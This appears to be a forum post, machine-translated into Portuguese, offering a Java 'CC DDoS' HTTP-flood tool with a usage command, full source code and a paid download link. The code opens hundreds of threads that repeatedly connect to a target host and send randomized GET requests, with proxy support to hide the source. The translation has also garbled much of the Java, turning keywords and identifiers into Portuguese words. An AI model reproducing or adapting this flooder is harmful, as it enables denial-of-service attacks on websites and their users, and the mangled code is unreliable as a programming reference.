Código JAR Ataque dDOS implementado por Java. No entanto, não é diferente dos dDos tradicionais. Esse software é um ataque DDOS a uma página. Como usar: java -jar ccddos.jar www.xxx.com 80 10 /index.do nome de usuário=xxx 80
[mw_shl_code=java,true]import java.io.IOException; importar java.net.ConnectException; importar java.net.InetSocketAddress; importar java.nio.ByteBuffer; importar java.nio.channels.SelectionKey; importar java.nio.channels.Selector; importar java.nio.channels.SocketChannel; importar java.util.Iterator; importar java.util.Random; import java.util.Set; importar java.util.Timer; importar java.util.TimerTask; import java.util.Vector;
/** * Fios demoníacos
* * Administração @author
* */ Teste de classe pública { hospedeiro privado String, uri, param; porto privado de int; final privado<CCDDOSThread> Vector v = novo Vector<CCDDOSThread>(); privada InetSocketAddress isa; threads privados intCount = 500; Número de fios privado Random r = novo Random(); Privado Long Time = 5000L;
/** * Abrir o ataque */ início de vazio público() { para (int i = 0; eu < threadsCount; i++) { CCDDOSThread t = new CCDDOSThread(); v.add(t); t.start();
} Temporizador t = novo Temporizador(); t.schedule(new TimerTask() { Corrida do vazio público() { contagem de inteligência = 0, timeoutthreads = 0; long ct = System.currentTimeMillis(); para (<CCDDOSThread>Iterador it = v.iterator(); it.hasNext(); ) { CCDDOSThread th = it.next(); if (th.isCancle() || !th.isAlive()) { it.remove(); th = nulo; count++; } else if (ct - th.start > timeout) { Tempo, extremidade externa timeoutthreads++; th.setCancle(verdadeiro); th.interrupt(); it.remove(); th = nulo; count++; } } se (contagem == 0) { retornar; } System.out.println ("Thread foi fechado:"+count+", onde a thread de timeout está conectada:" + threads de timeout); para (int i = 0; < contar; i++) { CCDDOSThread th = novo CCDDOSThread(); v.add(th); th.start(); } } }, 0l, 100l); System.out.println ("Thread daemon iniciado:"); }
/** * @param args */ public static void main(String[] args) { se (args.length < 6) { System.out.println("Instruções:"); System.out .println("java org.p3p.net.ccddos.Main <主机> <port> <同时开启的线程数> <URI> <参数> <连接超时> [<代理主机> <代理端口>]"); System.out.println(""); System.exit(0); } senão se (args.length >= 8) { Marque com um agente System.getProperties().put("proxySet", "true"); System.getProperties().setProperty("http.proxyHost", args[6]); System.getProperties().setProperty("http.proxyPort", args[7]); }
teste m = novo teste(); m.host = args[0]; m.port = Inteiro.valorDe(args[1]); m.uri = args[3]; m.param = args[4]; m.threadsCount = Inteiro.valorDe(args[2]); m.timeout = Long.valueOf(args[5]); m.isa = novo EndereçoInetSocket(m.host, m.port); m.start(); }
/** * Threads de ataque * * @author zhanghongbo * */ classe CCDDOSThread estende Thread { Cancle booleano privado = falso; início longo público = System.currentTimeMillis();
public void setCancle(boolean cancle) { this.cancle = cancle; }
public boolean isCancle() { Retorno de Cancle; }
Corrida do vazio público() { início longo = System.currentTimeMillis(); Seletor seletor; try { selector = Selector.open(); SocketChannel sc; try { sc = SocketChannel.open(isa); } catch (ConnectException ex) { System.out.println(ex.getMessage()); cancle = verdadeiro; selector.close(); retornar; }
sc.configureBlocking(false); sc.register(seletor, SelectionKey.OP_WRITE | SelectionKey.OP_READ); wait: while (selector.select() > 0 & !cancle) { if (System.currentTimeMillis() - iniciar > timeout) { cancle = verdadeiro; Pausa espera; } Set<?> readykey = selector.selectedKeys(); Iterator<?> it = readykey.iterator(); while (it.hasNext() & !cancle) { if (System.currentTimeMillis() - iniciar > timeout) { cancle = verdadeiro; Pausa espera; } SelectionKey skey = (SelectionKey) it.next(); it.remove(); SocketChannel scc = (SocketChannel) skey.channel();
if ((skey.readyOps() & SelectionKey.OP_WRITE) == SelectionKey.OP_WRITE) { Pele de corda = "GET" + uri + "?" + param + "&rndnum=" + r.nextInt() + " HTTP/1.1\r\n" + "Host: " + host + "\r\n" + "Conexão:próxima\r\n" + "\r\n"; ByteBuffer bbf = ByteBuffer.wrap(head.getBytes()); scc.write (bbf); } skey.cancel(); scc.close(); } } selector.close(); sc.close();
} catch (IOException ex) { cancle = verdadeiro; } } }
} [/mw_shl_code]
Produto final e código-fonte para download:
java ddos.zip
(8.42 KB, Número de downloads: 0, Preço de venda: 2 Grain MB)
|